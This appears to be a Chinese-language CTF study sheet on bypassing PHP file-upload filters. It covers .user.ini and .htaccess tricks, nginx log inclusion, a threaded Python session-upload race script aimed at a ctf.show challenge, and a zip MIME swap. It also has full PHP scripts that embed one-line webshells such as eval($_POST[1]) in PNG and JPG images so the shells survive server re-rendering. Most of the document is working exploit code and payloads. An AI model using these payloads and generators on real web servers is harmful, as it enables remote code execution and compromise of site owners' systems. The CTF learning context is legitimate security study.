.user.ini 和 .htaccess 配置文件


***1.auto_append_file在木马文件上传后上传
auto_prepend_file在木马文件上传前上传
日志包含:
当反引号都被过滤时只能日志包含
log可以用点号拼接绕过 ,内容为
GIF89a <?=include"/var/lo"."g/nginx/access.lo"."g"?>
上传完.user.ini后上传图片并在图片的UA加上一句话木马

访问upload可以看日志包含是否成功

连接带马的路径

*配置文件需要目录下有php文件若没有就上传一个

若是过滤<>也可以上传ini时候直接上传日志即:
GIF89A auto_append_file=/var/log/nginx/access.log

htaccess 配置文件

1 .htaccess文件内容
这里限制文件名字匹配jz,
<FilesMatch "jz"> SetHandler application/x-httpd-php </FilesMatch>
也可以不限制,即:
AddType application/x-httpd-php .jpg //将jpg解析成php
首先上传.htaccess

再上传一句话木马

hackbar进行命令执行
session包含:
*如果在上传.user.ini文件时过滤了点 .
*那么*只能采用包含session文件的方法
脚本
import requests
import threading
session = requests.session()
sess = 'xiao'
url1 = "http://4819a43b-3a1e-49d3-89e7-51f9043badba.challenge.ctf.show/"
url2 = "http://4819a43b-3a1e-49d3-89e7-51f9043badba.challenge.ctf.show/upload"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
'file': 'xiao'
}
cookies = {
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1, data=data1, files=file, cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
上传文件内容:
GIF89a auto_append_file=/tmp/sess_xiao

运行脚本条件竞争得flag
zip上传
抓包上传一个zip文件
注意:
上传zip包,MIME类型为:Content-Type: application/zip
需要修改成:Content-Type: application/x-zip-compressed
Forward发送后点击下载文件并抓包

木马写的是GET则

若用post则改一下传参方式
*把file再放回上面,在下面输命令
png二次渲染:
****二次渲染在浏览器上得不出答案的,需要bp抓包
标志:文件上传成功后,点击查看图片会跳转到download.php?image=

脚本:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>
脚本生成一个带马的图片,抓包发送后再抓包查看图片:get传入0=system;post传入`1=tac flag.php

jpg二次渲染:
脚本
<?php
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
//die('php jpg_payload.php <jpg_name.jpg>');
$argv[1] = '1.jpg';
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
echo "error";
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
先上传一张jpg图片然后下载到本地重命名为2.jpg,再用jpg脚本生成payload_2.jpg
脚本运行:在终端输入php 代码文件名 图片文件名
eg: php jpg二次渲染.php a.jpg
在上传payload_2.jpg,抓包

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